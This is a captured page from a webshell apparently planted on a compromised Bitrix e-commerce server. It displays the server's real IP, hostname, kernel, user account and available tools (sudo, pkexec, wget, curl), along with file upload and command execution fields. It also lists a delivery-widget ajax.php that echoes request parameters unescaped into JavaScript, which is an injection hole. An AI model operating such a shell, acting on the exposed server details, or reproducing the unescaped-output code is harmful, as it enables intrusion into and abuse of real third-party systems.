403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/russianpost.post/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/russianpost.post/ajax.php
<?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
use \Bitrix\Main\Loader;
$module_id = "russianpost.post";
use Bitrix\Main\Config\Option;
Loader::includeModule('sale');
Loader::includeModule('catalog');
Loader::includeModule($module_id);

$GLOBALS['APPLICATION']->AddHeadScript("https://widget.pochta.ru/map/widget/widget.js");
$guid_id = Option::get('russianpost.post', "GUID_ID");
//0000073738
//0000445112
$res = \Bitrix\Sale\Location\LocationTable::getList(array(
	'filter' => array(
		'CODE' => array($_REQUEST['location']),
		//'CODE' => array('0000073738'),
	),
	'select' => array(
		'EXTERNAL.*',
		'EXTERNAL.SERVICE.CODE'
	)
));
$arZip = array();
while($item = $res->fetch())
{
	if($item['SALE_LOCATION_LOCATION_EXTERNAL_SERVICE_CODE'] == 'ZIP_LOWER'
		|| $item['SALE_LOCATION_LOCATION_EXTERNAL_SERVICE_CODE'] == 'ZIP')
	{
		$threeDigits = substr($item['SALE_LOCATION_LOCATION_EXTERNAL_XML_ID'], 0, 3);
		$arZip[$threeDigits] = "'".$threeDigits."'";
	}
}
$strZip = implode(", ", $arZip);

$resS = \Bitrix\Sale\Location\LocationTable::getList(array(
	'filter' => array(
		'=CODE' => $_REQUEST['location'],
		'=PARENTS.NAME.LANGUAGE_ID' => LANGUAGE_ID,
		'=PARENTS.TYPE.NAME.LANGUAGE_ID' => LANGUAGE_ID,
	),
	'select' => array(
		'I_ID' => 'PARENTS.ID',
		'I_NAME_RU' => 'PARENTS.NAME.NAME',
		'I_TYPE_CODE' => 'PARENTS.TYPE.CODE',
		'I_TYPE_NAME_RU' => 'PARENTS.TYPE.NAME.NAME',
		'I_CODE' => 'PARENTS.CODE',
	),
	'order' => array(
		'PARENTS.DEPTH_LEVEL' => 'asc'
	)
));
$locationFullName = '';
while($itemC = $resS->fetch())
{
	if($itemC['I_TYPE_CODE'] != 'COUNTRY_DISTRICT')
	{
		$locationFullName .= $itemC['I_NAME_RU'].' ';
	}
}
$locationFullName = trim($locationFullName);

$arProdIds = array();
if(isset($_REQUEST['prodIds']) &&  !empty($_REQUEST['prodIds']))
{
	$arProdIds = explode(",",$_REQUEST['prodIds']);
}
$arDimensions = array();
foreach($arProdIds as $prodId)
{
    $arPr = explode("#", $prodId);
	$arProductInfo = \CCatalogProduct::GetByID($arPr[0]);
	$arProduct['HEIGHT'] = ceil($arProductInfo['HEIGHT']/10);
	$arProduct['WIDTH'] = ceil($arProductInfo['WIDTH']/10);
	$arProduct['LENGTH'] = ceil($arProductInfo['LENGTH']/10);
	if($arProduct['HEIGHT']==0)
		unset($arProduct['HEIGHT']);
	if($arProduct['WIDTH']==0)
		unset($arProduct['WIDTH']);
	if($arProduct['LENGTH']==0)
		unset($arProduct['LENGTH']);
	if(!empty($arProduct))
    {
	    $arProduct['QUANTITY'] = $arPr[1];
	    $arDimensions[] = $arProduct;
    }

}


?>
<script>
    /*function callbackFunction(data)
     {
     console.log('ajax data');
     console.log(data);
     }*/
</script>
<script>
	ecomStartWidget({
		accountId: '<?=$guid_id?>',
		accountType: 'bitrix_cms',
		weight: <?=$_REQUEST['weight'];?>,
		sumoc: <?=$_REQUEST['price'];?>,
		startZip: [<?=$strZip;?>],
		//startZip: ['344'],
		callbackFunction: callbackFunctionMap,
		containerId: 'ecom-widget',
		start_location: '<?=$locationFullName;?>'
		<?if(!empty($arDimensions)):?>
		,order_lines: [<?foreach ($arDimensions as $arDim):?>
			{
				<?if(!empty($arDim['QUANTITY'])):?>
				quantity: <?=$arDim['QUANTITY'];?>,
				<?endif;?>
				<?if(!empty($arDim['LENGTH'])):?>
				length: <?=$arDim['LENGTH'];?>,
				<?endif;?>
				<?if(!empty($arDim['WIDTH'])):?>
				width: <?=$arDim['WIDTH'];?>,
				<?endif;?>
				<?if(!empty($arDim['HEIGHT'])):?>
				height: <?=$arDim['HEIGHT'];?>,
				<?endif;?>
			},
			<?endforeach;?>]
		<?endif;?>
	});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit